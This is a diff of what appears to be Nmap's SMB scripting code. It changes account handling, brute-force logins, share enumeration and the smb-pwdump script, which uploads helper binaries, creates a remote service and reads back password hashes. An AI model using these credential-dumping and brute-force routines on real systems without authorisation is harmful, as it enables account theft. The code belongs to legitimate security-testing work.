for i, j in pairs(nmap.registry[host.ip]['smbaccounts']) do
if(j['username'] == username and j['domain'] == domain) then
return true
end
end
return false
end
function next_account(host, num)
if(num == nil) then
if(nmap.registry[host.ip]['smbindex'] == nil) then
nmap.registry[host.ip]['smbindex'] = 1
else
nmap.registry[host.ip]['smbindex'] = nmap.registry[host.ip]['smbindex'] + 1
end
else
nmap.registry[host.ip]['smbindex'] = num
end
end
---Writes the given account to the registry. There are several places where accounts are stored:
-- * registry['usernames'][username] => true
-- * registry['smbaccounts'][username] => password
-- * registry[ip]['smbaccounts'] => array of table containing 'username', 'password', and 'is_admin'
--
-- The final place, 'smbaccount', is reserved for the "best" account. This is an administrator
-- account, if one's found; otherwise, it's the first account discovered that isn't <code>guest</code>.
--
-- This has to be called while no SMB connections are made, since it potentially makes its own connection.
--
--@param host The host object.
--@param username The username to add.
--@param domain The domain to add.
--@param password The password to add.
--@param password_hash The password hash to add.
--@param hash_type The hash type to use.
--@param is_admin [optional] Set to 'true' the account is known to be an administrator.
function add_account(host, username, domain, password, password_hash, hash_type, is_admin)
-- Save the username in a global list -- TODO: restore this
-- if(nmap.registry.usernames == nil) then
-- nmap.registry.usernames = {}
-- end
-- nmap.registry.usernames[username] = true
--
-- -- Save the username/password pair in a global list
-- if(nmap.registry.smbaccounts == nil) then
-- nmap.registry.smbaccounts = {}
-- end
-- nmap.registry.smbaccounts[username] = password
-- Check if we've already recorded this account
if(account_exists(host, username, domain)) then
return
end
if(nmap.registry[host.ip] == nil) then
nmap.registry[host.ip] = {}
end
if(nmap.registry[host.ip]['smbaccounts'] == nil) then
nmap.registry[host.ip]['smbaccounts'] = {}
end
-- Determine the type of account, if it wasn't given
local account_type = nil
if(is_admin) then
account_type = ACCOUNT_TYPES.ADMIN
else
if(username == '') then
-- Anonymous account
account_type = ACCOUNT_TYPES.ANONYMOUS
elseif(string.lower(username) == 'guest') then
-- Guest account
account_type = ACCOUNT_TYPES.GUEST
else
-- We have to assume it's a user-level account (we just can't call any SMB functions from inside here)
account_type = ACCOUNT_TYPES.USER
end
end
-- Set some defaults
if(hash_type == nil) then
hash_type = 'ntlm'
end
-- Save the new account if this is our first one, or our other account isn't an admin
local new_entry = {}
new_entry['username'] = username
new_entry['domain'] = domain
new_entry['password'] = password
new_entry['password_hash'] = password_hash
new_entry['hash_type'] = string.lower(hash_type)
new_entry['account_type'] = account_type
-- Insert the new entry into the table
table.insert(nmap.registry[host.ip]['smbaccounts'], new_entry)
-- Sort the table based on the account type (we want anonymous at the end, administrator at the front)
table.sort(nmap.registry[host.ip]['smbaccounts'], function(a,b) return a['account_type'] > b['account_type'] end)
-- Print a debug message
stdnse.print_debug(1, "SMB: Added account '%s' to account list", username)
-- Reset the credentials
next_account(host, 1)
-- io.write("\n\n" .. nsedebug.tostr(nmap.registry[host.ip]['smbaccounts']) .. "\n\n")
end
---Retrieve the current set of credentials set in the registry. If these fail, <code>next_credentials</code> should be
-- called.
--
--@param host The host object.
--@return (result, username, domain, password, password_hash, hash_type) If result is false, username is an error message. Otherwise, username and password are
-- the current username and password that should be used.
function get_account(host)
if(nmap.registry[host.ip]['smbindex'] == nil) then
nmap.registry[host.ip]['smbindex'] = 1
end
local index = nmap.registry[host.ip]['smbindex']
local account = nmap.registry[host.ip]['smbaccounts'][index]
if(account == nil) then
return false, "No accounts left to try"
end
return true, account['username'], account['domain'], account['password'], account['password_hash'], account['hash_type']
end
---Create the account table with the anonymous and guest users, as well as the user given in the script's
-- arguments, if there is one.
--
--@param host The host object.
function init_account(host)
-- Create the key if it exists
if(nmap.registry[host.ip] == nil) then
nmap.registry[host.ip] = {}
end
-- Don't run this more than once for each host
if(nmap.registry[host.ip]['smbaccounts'] ~= nil) then
return
end
-- Create the list
nmap.registry[host.ip]['smbaccounts'] = {}
-- Add the anonymous/guest accounts
add_account(host, '', '', '', nil, 'none')
add_account(host, 'guest', '', '', nil, 'ntlm')
-- Add the account given on the commandline (TODO: allow more than one?)
local args = nmap.registry.args
local username = nil
local domain = ''
local password = nil
local password_hash = nil
local hash_type = 'ntlm'
-- Do the username first
if(args.smbusername ~= nil) then
username = args.smbusername
elseif(args.smbuser ~= nil) then
username = args.smbuser
end
-- If the username exists, do everything else
if(username ~= nil) then
-- Domain
if(args.smbdomain ~= nil) then
domain = args.smbdomain
end
-- Type
if(args.smbtype ~= nil) then
hash_type = args.smbtype
end
-- Do the password
if(args.smbpassword ~= nil) then
password = args.smbpassword
elseif(args.smbpass ~= nil) then
password = args.smbpass
end
-- Only use the hash if there's no password
if(password == nil) then
password_hash = args.smbhash
end
-- Add the account, if we got a password
if(password == nil and password_hash == nil) then
stdnse.print_debug(1, "SMB: Either smbpass, smbpassword, or smbhash have to be passed as script arguments to use an account")
else
add_account(host, username, domain, password, password_hash, hash_type)
end
end
end
local function to_unicode(str)
local unicode = ""
@@ -310,82 +523,6 @@ function ntlmv2_create_response(ntlm, username, domain, challenge, client_challe
return true, openssl.hmac("MD5", ntlmv2_hash, challenge .. client_challenge) .. client_challenge
end
---Determines which hash type is going to be used, based on the function parameters and
-- the nmap arguments (in that order).
--
--@param hash_type [optional] The function parameter version, which will override all others if set.
--@return The highest priority hash type that's set.
local function get_hash_type(hash_type)
if(hash_type ~= nil) then
stdnse.print_debug(2, "SMB: Using logon type passed as a parameter: %s", hash_type)
else
if(nmap.registry.args.smbtype ~= nil) then
hash_type = nmap.registry.args.smbtype
stdnse.print_debug(2, "SMB: Using logon type passed as an nmap parameter: %s", hash_type)
else
hash_type = "ntlm"
stdnse.print_debug(2, "SMB: Using default logon type: %s", hash_type)
end
end
return string.lower(hash_type)
end
---Determines which username is going to be used, based on the function parameters, the nmap arguments,
-- and the registry (in that order).
--
--@param ip The ip address, used when reading from the registry
--@param username [optional] The function parameter version, which will override all others if set.
--@return The highest priority username that's set.
local function get_username(ip, username)
if(username ~= nil) then
stdnse.print_debug(2, "SMB: Using username passed as a parameter: %s", username)
else
if(nmap.registry.args.smbusername ~= nil) then
username = nmap.registry.args.smbusername
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbusername): %s", username)
elseif(nmap.registry.args.smbuser ~= nil) then
username = nmap.registry.args.smbuser
stdnse.print_debug(2, "SMB: Using username passed as an nmap parameter (smbuser): %s", username)
elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
username = nmap.registry[ip]['smbaccount']['username']
stdnse.print_debug(2, "SMB: Using username found in the registry: %s", username)
else
username = nil
stdnse.print_debug(2, "SMB: Couldn't find a username to use, not logging in")
end
end
return username
end
---Determines which domain is going to be used, based on the function parameters and
-- the nmap arguments (in that order).
--
-- [TODO] registry
--
--@param domain [optional] The function parameter version, which will override all others if set.
--@return The highest priority domain that's set.
local function get_domain(ip, domain)
if(domain ~= nil) then
stdnse.print_debug(2, "SMB: Using domain passed as a parameter: %s", domain)
else
if(nmap.registry.args.smbdomain ~= nil) then
domain = nmap.registry.args.smbdomain
stdnse.print_debug(2, "SMB: Using domain passed as an nmap parameter: %s", domain)
else
domain = ""
stdnse.print_debug(2, "SMB: Couldn't find domain to use, using blank")
end
end
return domain
end
---Generate the Lanman and NTLM password hashes. The password itself is taken from the function parameters,
-- the nmap arguments, and the registry (in that order). If no password is set, then the password hash
-- is used (which is read from all the usual places). If neither is set, then a blank password is used.
@@ -403,51 +540,24 @@ end
-- message-signing key to be generated properly).
--@return (lm_response, ntlm_response, mac_key) The two strings that can be sent directly back to the server,
-- and the mac_key, which is used for message signing.
local function get_password_response(ip, username, domain, password, password_hash, challenge, hash_type, is_extended)
function get_password_response(ip, username, domain, password, password_hash, hash_type, challenge, is_extended)
local status
local lm_hash = nil
local ntlm_hash = nil
local mac_key = nil
local lm_response, ntlm_response
-- Check if there's a password or hash set. This is a little tricky, because in all places (except the one passed
-- as a parameter), it's based on whether or not the username was stored. This lets us use blank passwords by not
-- specifying one.
if(password ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash passed as a parameter (username = '%s')", username)
elseif(nmap.registry.args.smbusername ~= nil or nmap.registry.args.smbuser ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash passed as an nmap parameter")
if(nmap.registry.args.smbpassword ~= nil) then
password = nmap.registry.args.smbpassword
elseif(nmap.registry.args.smbpass ~= nil) then
password = nmap.registry.args.smbpass
elseif(nmap.registry.args.smbhash ~= nil) then
password_hash = nmap.registry.args.smbhash
end
elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash found in the registry")
if(nmap.registry[ip]['smbaccount']['password'] ~= nil) then
password = nmap.registry[ip]['smbaccount']['password']
elseif(nmap.registry[ip]['smbaccount']['hash'] ~= nil) then
password_hash = nmap.registry[ip]['smbaccount']['password']
end
else
password = nil
password_hash = nil
end
-- Check for a blank password
if(password == nil and password_hash == nil) then
stdnse.print_debug(2, "SMB: Couldn't find password or hash to use (assuming blank)")
password = ""
end
-- The anonymous user requires a single 0-byte instead of a LANMAN hash (don't ask me why, but it doesn't work without)
if(hash_type == 'none') then
return string.char(0), '', nil
end
-- If we got a password, hash it
if(password ~= nil) then
status, lm_hash = lm_create_hash(password)
@@ -523,7 +633,12 @@ local function get_password_response(ip, username, domain, password, password_ha
else
-- Default to NTLMv1
stdnse.print_debug(1, "SMB: Invalid login type specified, using default (NTLM)")
if(hash_type ~= nil) then
stdnse.print_debug(1, "SMB: Invalid login type specified ('%s'), using default (NTLM)", hash_type)
else
stdnse.print_debug(1, "SMB: No login type specified, using default (NTLM)")
end
status, lm_response = ntlm_create_response(ntlm_hash, challenge)
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
@@ -535,68 +650,7 @@ local function get_password_response(ip, username, domain, password, password_ha
return lm_response, ntlm_response, mac_key
end
---Get the list of accounts to use to log in. TODO: More description
function get_accounts(ip, overrides, use_defaults)
local results = {}
-- Just so we can index into it
if(overrides == nil) then
overrides = {}
end
-- By default, use defaults
if(use_defaults == nil) then
use_defaults = true
end
-- If we don't have OpenSSL, don't bother with any of this because we aren't going to
-- be able to hash the password
if(have_ssl == true) then
local result = {}
-- Get the "real" information
result['username'] = get_username(ip, overrides['username'])
result['domain'] = get_domain(ip, overrides['domain'])
result['hash_type'] = get_hash_type(overrides['hash_type'])
if(result['username'] ~= nil) then
results[#results + 1] = result
end
-- Do the "guest" account, if use_defaults is set
if(use_defaults) then
result = {}
result['username'] = "guest"
result['domain'] = ""
result['hash_type'] = get_hash_type(overrides['hash_type'])
results[#results + 1] = result
end
end
-- Do the "anonymous" account
if(use_defaults) then
local result = {}
result['username'] = ""
result['domain'] = ""
results[#results + 1] = result
end
return results
end
function get_password_hashes(ip, username, domain, hash_type, overrides, challenge, is_extended)
if(overrides == nil) then
overrides = {}
end
if(username == "") then
return string.char(0), '', nil
elseif(username == "guest") then
return get_password_response(ip, username, domain, "", nil, challenge, hash_type, is_extended)
else
return get_password_response(ip, username, domain, overrides['password'], overrides['password_hash'], challenge, hash_type, is_extended)
end
end
function get_security_blob(security_blob, ip, username, domain, hash_type, overrides, use_default)
function get_security_blob(security_blob, ip, username, domain, password, password_hash, hash_type)
local pos = 1
local new_blob
local flags = 0x00008211 -- (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | NEGOTIATE_UNICODE)
@@ -619,7 +673,7 @@ function get_security_blob(security_blob, ip, username, domain, hash_type, overr
pos, identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved = bin.unpack("<LISSIIA8A8", security_blob, 1)
-- Get the information for the current login
local lanman, ntlm, mac_key = get_password_hashes(ip, username, domain, hash_type, overrides, challenge, true)
local lanman, ntlm, mac_key = get_password_response(ip, username, domain, password, password_hash, hash_type, challenge, true)
-- Convert the username and domain to unicode (TODO: Disable the unicode flag, evaluate if that'll work)
username = to_unicode(username)

View File

@@ -40,17 +40,19 @@ Entry { filename = "robots.txt.nse", categories = { "default", "discovery", "saf
Entry { filename = "rpcinfo.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-users.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
Entry { filename = "smb-pwdump.nse", categories = { "intrusive", } }
Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", } }
Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smbv2-enabled.nse", categories = { "default", "safe", } }
Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smtp-open-relay.nse", categories = { "demo", } }
Entry { filename = "smtp-strangeport.nse", categories = { "malware", "safe", } }

View File

@@ -311,19 +311,18 @@ end
--@return Result, an integer value from the <code>results</code> constants.
local function check_login(hostinfo, username, password, logintype)
local result
local domain
local domain = ""
local smbstate = hostinfo['smbstate']
if(logintype == nil) then
logintype = get_type(hostinfo)
end
--io.write(string.format("Trying %s:%s\n", username, password))
-- Determine if we have a password hash or a password
if(#password == 32 or #password == 64 or #password == 65) then
--io.write("Hash\n")
-- It's a hash (note: we always use NTLM hashes)
status, err = smb.start_session(smbstate, username, domain, nil, password, "ntlm", false, true)
status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, nil, password, "ntlm"), false)
else
status, err = smb.start_session(smbstate, username, domain, password, nil, logintype, false, false)
status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, password, nil, logintype), false)
end
if(status == true) then
@@ -850,7 +849,14 @@ function found_account(hostinfo, username, password, result)
return false, err
end
smb.add_account(hostinfo['host'], username, password)
-- Check if we have an 'admin' account
-- Try getting information about "IPC$". This determines whether or not the user is administrator
-- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all
-- accounts are non-admin.
local is_admin = smb.is_admin(hostinfo['host'], username, '', password, nil, nil)
-- Add the account
smb.add_account(hostinfo['host'], username, '', password, nil, nil, is_admin)
-- If we haven't retrieved the real user list yet, do so
if(hostinfo['have_user_list'] == false) then

View File

@@ -28,36 +28,37 @@ for shares that require a user account.
-- sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
--
--@output
-- Standard:
-- | smb-enum-shares:
-- | Anonymous shares: IPC$
-- |_ Restricted shares: F$, ADMIN$, C$
--
-- Verbose:
-- Host script results:
-- | smb-enum-shares:
-- | Anonymous shares:
-- | IPC$
-- | |_ Type: STYPE_IPC_HIDDEN
-- | |_ Comment: Remote IPC
-- | |_ Users: 1, Max: <unlimited>
-- | |_ Path:
-- | test
-- | |_ Type: STYPE_DISKTREE
-- | |_ Comment: This is a test share, with a maximum of 7 users
-- | |_ Users: 0, Max: 7
-- | |_ Path: C:\Documents and Settings\Ron\Desktop\test
-- | Restricted shares:
-- | ADMIN$
-- | |_ Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Remote Admin
-- | |_ Users: 0, Max: <unlimited>
-- | |_ Path: C:\WINNT
-- | |_ Anonymous access: <none>
-- | |_ Current user ('test') access: READ/WRITE
-- | C$
-- | |_ Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Default share
-- | |_ Users: 0, Max: <unlimited>
-- |_ |_ Path: C:\
-- | |_ Path: C:\
-- | |_ Anonymous access: <none>
-- | |_ Current user ('test') access: READ
-- | IPC$
-- | |_ Type: STYPE_IPC_HIDDEN
-- | |_ Comment: Remote IPC
-- | |_ Users: 1, Max: <unlimited>
-- | |_ Path:
-- | |_ Anonymous access: READ <not a file share>
-- | |_ Current user ('test') access: READ <not a file share>
-- | test
-- | |_ Type: STYPE_DISKTREE
-- | |_ Comment: This is a test share, with a maximum of 7 users
-- | |_ Users: 0, Max: 7
-- | |_ Path: C:\Documents and Settings\Ron\Desktop\test
-- | |_ Anonymous access: <none>
-- |_ |_ Current user ('test') access: READ/WRITE
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -73,194 +74,107 @@ hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Attempts to connect to a list of shares as the anonymous user, returning which ones
-- it has and doesn't have access to.
--
--@param host The host object.
--@param shares An array of shares to check.
--@return List of shares we're allowed to access.
--@return List of shares that exist but are denied to us.
function check_shares(host, shares)
local smbstate
local i
local allowed_shares = {}
local denied_shares = {}
local function go(host)
local status, shares, extra
local response = " \n"
-- Begin the SMB session
status, smbstate = smb.start(host)
-- Get the list of shares
status, shares, extra = smb.share_get_list(host)
if(status == false) then
return false, smbstate
return false, string.format("Couldn't enumerate shares: %s", shares)
end
-- Negotiate the protocol
status, err = smb.negotiate_protocol(smbstate)
if(status == false) then
smb.stop(smbstate)
return false, err
-- Find out who the current user is
local result, username, domain = smb.get_account(host)
if(result == false) then
username = "<unknown>"
domain = ""
end
-- Start up a null session
status, err = smb.start_session(smbstate, "", "", "", "", "LM")
if(status == false) then
smb.stop(smbstate)
return false, err
if(extra ~= nil) then
response = response .. extra .. "\n"
end
-- Check for hosts that accept any share by generating a totally random name (we don't use a set
-- name because then hosts could potentially fool us. Perhaps I'm in a paranoid mood today)
local set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
local share = ""
math.randomseed(os.time())
for i = 1, 16, 1 do
local random = math.random(#set)
share = share .. string.sub(set, random, random)
end
share = string.format("%s", share)
stdnse.print_debug(2, "EnumShares: Trying a random share to see if server responds properly: %s", share)
status, err = smb.tree_connect(smbstate, share)
if(status == false) then
if(err == 0xc0000022 or err == 'NT_STATUS_ACCESS_DENIED') then
return false, "Server doesn't return proper value for non-existent shares (returns ACCESS_DENIED)"
end
else
-- If we were actually able to connect to this share, then there's probably a serious issue
smb.tree_disconnect(smbstate)
return false, "Server doesn't return proper value for non-existent shares (accepts the connection)"
end
-- Connect to the shares
stdnse.print_debug(2, "EnumShares: Testing %d shares", #shares)
for i = 1, #shares, 1 do
local share = shares[i]
-- Change the share to the '\\ip\share' format
local share = string.format("%s", shares[i])
-- Start generating a human-readable string
response = response .. share['name'] .. "\n"
-- Try connecting to the tree
stdnse.print_debug(3, "EnumShares: Testing share %s", share)
status, err = smb.tree_connect(smbstate, share)
-- If it fails, checkwhy
if(status == false) then
-- If the result was ACCESS_DENIED, record it
if(err == 0xc0000022 or err == 'NT_STATUS_ACCESS_DENIED') then
stdnse.print_debug(3, "EnumShares: Access was denied")
denied_shares[#denied_shares + 1] = shares[i]
if(type(share['details']) ~= 'table') then
response = response .. string.format("|_ Couldn't get details for share: %s\n", share['details'])
else
-- If we're here, an error that we weren't prepared for came up.
-- smb.stop(smbstate)
-- return false, string.format("Error while checking shares: %s", err)
local details = share['details']
response = response .. string.format("|_ Type: %s\n", details['sharetype'])
response = response .. string.format("|_ Comment: %s\n", details['comment'])
response = response .. string.format("|_ Users: %s, Max: %s\n", details['current_users'], details['max_users'])
response = response .. string.format("|_ Path: %s\n", details['path'])
end
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share
if(share['anonymous_can_read']) then
response = response .. "|_ Anonymous access: READ <not a file share>\n"
else
response = response .. "|_ Anonymous access: <none> <not a file share>\n"
end
-- Don't bother printing this if we're already anonymous
if(username ~= '') then
if(share['user_can_read']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ <not a file share>\n"
else
response = response .. "|_ Current user ('" .. username .. "') access: <none> <not a file share>\n"
end
end
else
-- Add it to allowed shares
stdnse.print_debug(3, "EnumShares: Access was granted")
allowed_shares[#allowed_shares + 1] = shares[i]
smb.tree_disconnect(smbstate)
-- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: READ/WRITE\n"
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
response = response .. "|_ Anonymous access: READ\n"
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: WRITE\n"
else
response = response .. "|_ Anonymous access: <none>\n"
end
if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ/WRITE\n"
elseif(share['user_can_read'] and not(share['user_can_write'])) then
response = response .. "|_ Current user ('" .. username .. "') access: READ\n"
elseif(not(share['user_can_read']) and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: WRITE\n"
else
response = response .. "|_ Current user ('" .. username .. "') access: <none>\n"
end
end
end
end
-- Log off the user
smb.stop(smbstate)
return true, allowed_shares, denied_shares
return true, response
end
action = function(host)
local status, result
local enum_result
local result, shared
local response = " \n"
local shares = {}
local allowed, denied
-- Try and do this the good way, make a MSRPC call to get the shares
enum_result, shares = msrpc.enum_shares(host)
-- If that failed, try doing it with brute force. This almost certainly won't find everything, but it's the
-- best we can do.
if(enum_result == false) then
if(nmap.debugging() > 0) then
response = response .. string.format("ERROR: Couldn't enum all shares, checking for common ones (%s)\n", shares)
end
-- Take some common share names I've seen
shares = {"IPC$", "ADMIN$", "TEST", "TEST$", "HOME", "HOME$", "PORN", "PR0N", "PUBLIC", "PRINT", "PRINT$", "GROUPS", "USERS", "MEDIA", "SOFTWARE", "XSERVE", "NETLOGON", "INFO", "PROGRAMS", "FILES", "WWW", "STMP", "TMP", "DATA", "BACKUP", "DOCS", "HD", "WEBSERVER", "WEB DOCUMENTS", "SHARED"}
-- Try every alphabetic share, with and without a trailing '$'
for i = string.byte("A", 1), string.byte("Z", 1), 1 do
shares[#shares + 1] = string.char(i)
shares[#shares + 1] = string.char(i) .. "$"
end
end
-- Break them into anonymous/authenticated shares
status, allowed, denied = check_shares(host, shares)
status, result = go(host)
if(status == false) then
if(enum_result == false) then
-- At this point, we have nothing
if(nmap.debugging() > 0) then
return "ERROR: " .. allowed
else
return nil
return "ERROR: " .. result
end
else
-- If we're here, we have a valid list of shares, but couldn't check them
if(nmap.debugging() > 0) then
return "ERROR: " .. allowed .. "\nShares found: " .. stdnse.strjoin(", ", shares)
else
return stdnse.strjoin(", ", shares)
end
end
end
if(result == false or nmap.verbosity() == 0) then
return response .. string.format("Anonymous shares: %s\nRestricted shares: %s\n", stdnse.strjoin(", ", allowed), stdnse.strjoin(", ", denied))
else
response = response .. string.format("Anonymous shares:\n")
for i = 1, #allowed, 1 do
local status, info = msrpc.get_share_info(host, allowed[i])
response = response .. string.format(" %s\n", allowed[i])
if(status == false) then
stdnse.print_debug(2, "ERROR: Couldn't get information for share %s: %s", allowed[i], info)
else
info = info['info']
if(info['max_users'] == 0xFFFFFFFF) then
info['max_users'] = "<unlimited>"
end
response = response .. string.format(" |_ Type: %s\n", msrpc.srvsvc_ShareType_tostr(info['sharetype']))
response = response .. string.format(" |_ Comment: %s\n", info['comment'])
response = response .. string.format(" |_ Users: %s, Max: %s\n", info['current_users'], info['max_users'])
response = response .. string.format(" |_ Path: %s\n", info['path'])
end
end
response = response .. string.format("Restricted shares:\n")
for i = 1, #denied, 1 do
local status, info = msrpc.get_share_info(host, denied[i])
response = response .. string.format(" %s\n", denied[i])
if(status == false) then
stdnse.print_debug(2, "ERROR: Couldn't get information for share %s: %s", denied[i], info)
else
info = info['info']
if(info['max_users'] == 0xFFFFFFFF) then
info['max_users'] = "<unlimited>"
end
response = response .. string.format(" |_ Type: %s\n", msrpc.srvsvc_ShareType_tostr(info['sharetype']))
response = response .. string.format(" |_ Comment: %s\n", info['comment'])
response = response .. string.format(" |_ Users: %s, Max: %s\n", info['current_users'], info['max_users'])
response = response .. string.format(" |_ Path: %s\n", info['path'])
end
end
return response
return result
end
end

1360
scripts/smb-psexec.nse Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -89,8 +89,8 @@ require 'msrpc'
require 'smb'
require 'stdnse'
local SERVICE = "nmap-pwdump"
local PIPE = "nmap-pipe"
local SERVICE = "nmap-pwdump-"
local PIPE = "nmap-pipe-"
local FILE1 = "nselib/data/lsremora.dll"
local FILENAME1 = "lsremora.dll"
@@ -105,31 +105,34 @@ end
---Stop/delete the service and delete the service file. This can be used alone to clean up the
-- pwdump stuff, if this crashes.
function cleanup(host)
--
--@param host The host object.
--@param share The share to clean up on.
--@param path The local path to the share.
--@param service_name The name to use for the service.
function cleanup(host, share, path, service_name)
local status, err
stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored")
stdnse.print_debug(1, "Entering cleanup('%s', '%s', '%s') -- errors here can generally be ignored", share, path, service_name)
-- Try stopping the service
status, err = msrpc.service_stop(host, SERVICE)
status, err = msrpc.service_stop(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't stop service: %s", err)
end
-- os.exit()
-- Try deleting the service
status, err = msrpc.service_delete(host, SERVICE)
status, err = msrpc.service_delete(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete service: %s", err)
end
-- Delete the files
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1)
status, err = smb.file_delete(host, share, "\\" .. FILENAME1)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
end
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2)
status, err = smb.file_delete(host, share, "\\" .. FILENAME2)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
end
@@ -140,16 +143,16 @@ function cleanup(host)
end
function upload_files(host)
function upload_files(host, share)
local status, err
status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1)
status, err = smb.file_upload(host, FILE1, share, "\\" .. FILENAME1)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
end
status, err = smb.file_upload(host, FILE2, "C$", "\\" .. FILENAME2)
status, err = smb.file_upload(host, FILE2, share, "\\" .. FILENAME2)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
@@ -183,18 +186,19 @@ function read_and_decrypt(host, key, pipe)
break
end
stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result)
j = j + 1
-- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function.
-- Wait 50ms, if there's a time when we get an actual sleep()-style function.
stdnse.sleep(.05)
until status == true
if(j == 100) then
if(j == 10) then
smbstop(smbstate)
return false, "WaitForNamedPipe() failed, service may not have been created properly."
end
-- Get a handle to the pipe
status, create_result = smb.create_file(smbstate, "\\" .. pipe)
local overrides = {}
status, create_result = smb.create_file(smbstate, "\\" .. pipe, overrides)
if(status == false) then
smb.stop(smbstate)
return false, create_result
@@ -267,8 +271,28 @@ function go(host)
local key = ""
local i
local result
local service_name
local share, path
result, service_name = smb.get_uniqueish_name(host)
if(result == false) then
return false, string.format("Error generating service name: %s", service_name)
end
stdnse.print_debug("pwdump: Generated static service name: %s", service_name)
-- Try and find a share to use.
result, share, path = smb.share_find_writable(host)
if(result == false) then
return false, string.format("Couldn't find a writable share: %s", share)
end
if(path == nil) then
return false, string.format("Couldn't find path to writable share (we probably don't have admin access): '%s'", share)
end
stdnse.print_debug(1, "pwdump: Found usable share %s (%s)", share, path)
-- Start by cleaning up, just in case.
cleanup(host)
cleanup(host, share, path, service_name)
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
@@ -280,42 +304,42 @@ function go(host)
end
-- Upload the files
status, err = upload_files(host)
status, err = upload_files(host, share)
if(status == false) then
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
cleanup(host)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't upload the files: %s", err)
end
-- Create the service
status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe")
status, err = msrpc.service_create(host, SERVICE .. service_name, path .. "\\servpw.exe")
if(status == false) then
stdnse.print_debug(1, "Couldn't create the service: %s", err)
cleanup(host)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't create the service on the remote machine: %s", err)
end
-- Start the service
status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
status, err = msrpc.service_start(host, SERVICE .. service_name, {PIPE .. service_name, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
if(status == false) then
stdnse.print_debug(1, "Couldn't start the service: %s", err)
cleanup(host)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't start the service on the remote machine: %s", err)
end
-- Read the data
status, results = read_and_decrypt(host, key, PIPE)
status, results = read_and_decrypt(host, key, PIPE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Error reading data from remote service")
cleanup(host)
cleanup(host, share, path, service_name)
return false, string.format("Failed to read password data from the remote service: %s", err)
end
-- Clean up what we did
cleanup(host)
cleanup(host, share, path, service_name)
return true, results
end

View File

@@ -27,7 +27,12 @@ author = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
